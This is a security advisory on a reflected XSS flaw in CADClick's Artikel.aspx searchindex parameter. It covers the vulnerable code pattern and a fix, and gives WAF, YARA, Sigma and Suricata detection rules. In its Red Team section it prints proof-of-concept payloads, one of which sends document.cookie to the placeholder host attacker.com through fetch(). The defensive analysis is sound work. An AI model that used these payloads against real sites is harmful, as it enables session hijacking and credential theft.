CVE-2024-41513

Executive Summary

CVE-2024-41513 identifies a reflected cross-site scripting (XSS) vulnerability in the Artikel.aspx page of CADClick version 1.11.0 and earlier. The flaw resides in the searchindex parameter, which fails to properly sanitize user-supplied input before reflecting it back in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in the context of the vulnerable application, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified as a reflected XSS (CWE-79) and is exploitable without authentication. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a vendor patch increases risk for unhardened deployments.

Supply Chain & Package Security

CADClick is a proprietary .NET application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. Based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must click a crafted link.
• Scope (S): Changed (C) – the injected script can affect other resources.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – script can modify content.
• Availability (A): None (N) – no direct DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)

Threat Level: Medium – requires user interaction but no privileges, and the impact is limited to the browser session.

Deep Dive & Mechanics

The vulnerability exists in the Artikel.aspx page, which likely handles product or article search functionality. The searchindex parameter is used to display search terms back to the user (e.g., "You searched for: [input]"). The application does not encode or sanitize this input before rendering it in the HTML response.

Attack Flow:

1. Attacker crafts a URL: https://target/Artikel.aspx?searchindex=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The server reflects the payload in the response without sanitization.
4. The browser executes the injected script in the context of the CADClick domain.

Root Cause: Lack of output encoding for user-controlled data in the searchindex parameter. The application likely uses Response.Write() or similar methods without proper HTML encoding.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred:

Vulnerable (C#/ASP.NET):

protected void Page_Load(object sender, EventArgs e)
{
    string searchIndex = Request.QueryString["searchindex"];
    if (!string.IsNullOrEmpty(searchIndex))
    {
        Response.Write("You searched for: " + searchIndex);
    }
}

Patched (C#/ASP.NET):

protected void Page_Load(object sender, EventArgs e)
{
    string searchIndex = Request.QueryString["searchindex"];
    if (!string.IsNullOrEmpty(searchIndex))
    {
        Response.Write("You searched for: " + Server.HtmlEncode(searchIndex));
    }
}

The patched version uses Server.HtmlEncode() to convert special characters (e.g., <, >, ") into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC) URL:

https://target/Artikel.aspx?searchindex=<script>alert(document.cookie)</script>

Advanced Payload (session hijacking):

https://target/Artikel.aspx?searchindex=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Lab Setup:

1. Deploy a local instance of CADClick v1.11.0 (if available) or simulate with a simple ASP.NET page.
2. Use a browser to navigate to the PoC URL.
3. Observe the JavaScript execution (e.g., alert box or network request to attacker server).

Automation with curl:

curl -v "http://localhost/Artikel.aspx?searchindex=<script>alert(1)</script>"

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious searchindex parameters containing <script>, onerror, onload, or other event handlers.
2. Use WAF rules to block requests with HTML/JavaScript in the searchindex parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

WAF Rule (ModSecurity):

SecRule ARGS:searchindex "@rx <script|onerror|onload|javascript:" "id:1001,phase:2,deny,status:403,msg:'XSS attempt detected in searchindex parameter'"

Indicators of Compromise (IOCs)

• URL Pattern: */Artikel.aspx?searchindex=* containing <script>, %3Cscript%3E, or other HTML/JavaScript encodings.
• HTTP Request Headers: Referer may point to phishing pages; User-Agent may be automated tools.
• Server Logs: 200 responses with searchindex values containing unencoded HTML tags.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (e.g., fetch('https://attacker.com/...')).

Detection Engineering

YARA Rule

rule CVE_2024_41513_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CADClick Artikel.aspx searchindex parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41513"
    strings:
        $xss1 = "searchindex=<script" ascii wide nocase
        $xss2 = "searchindex=%3Cscript" ascii wide nocase
        $xss3 = "searchindex=javascript:" ascii wide nocase
        $xss4 = "searchindex=onerror" ascii wide nocase
        $xss5 = "searchindex=onload" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on CADClick Artikel.aspx
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects HTTP requests with XSS payloads in the searchindex parameter targeting CADClick
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "searchindex=<script"
            - "searchindex=%3Cscript"
            - "searchindex=javascript:"
            - "searchindex=onerror"
            - "searchindex=onload"
    condition: selection
falsepositives:
    - Legitimate search terms containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41513 Reflected XSS in CADClick Artikel.aspx"; flow:to_server,established; content:"/Artikel.aspx"; http_uri; content:"searchindex="; http_uri; pcre:"/(<script|%3Cscript|javascript:|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the searchindex parameter by stripping or encoding HTML tags.
2. Output Encoding: Use Server.HtmlEncode() or equivalent in ASP.NET to encode reflected data.
3. WAF Rules: Deploy ModSecurity or cloud WAF rules to block XSS patterns.
4. CSP Header: Add Content-Security-Policy: script-src 'self'; to prevent inline script execution.

Long-Term Fix:

• Upgrade to a patched version of CADClick once available.
• Conduct a full security audit of all user-facing parameters.
• Implement a secure development lifecycle (SDLC) with automated SAST/DAST scanning.

Workaround:

• If patching is not possible, disable the searchindex functionality or replace it with a server-side redirect that does not reflect user input.

Valters IT
Securing Digital Frontiers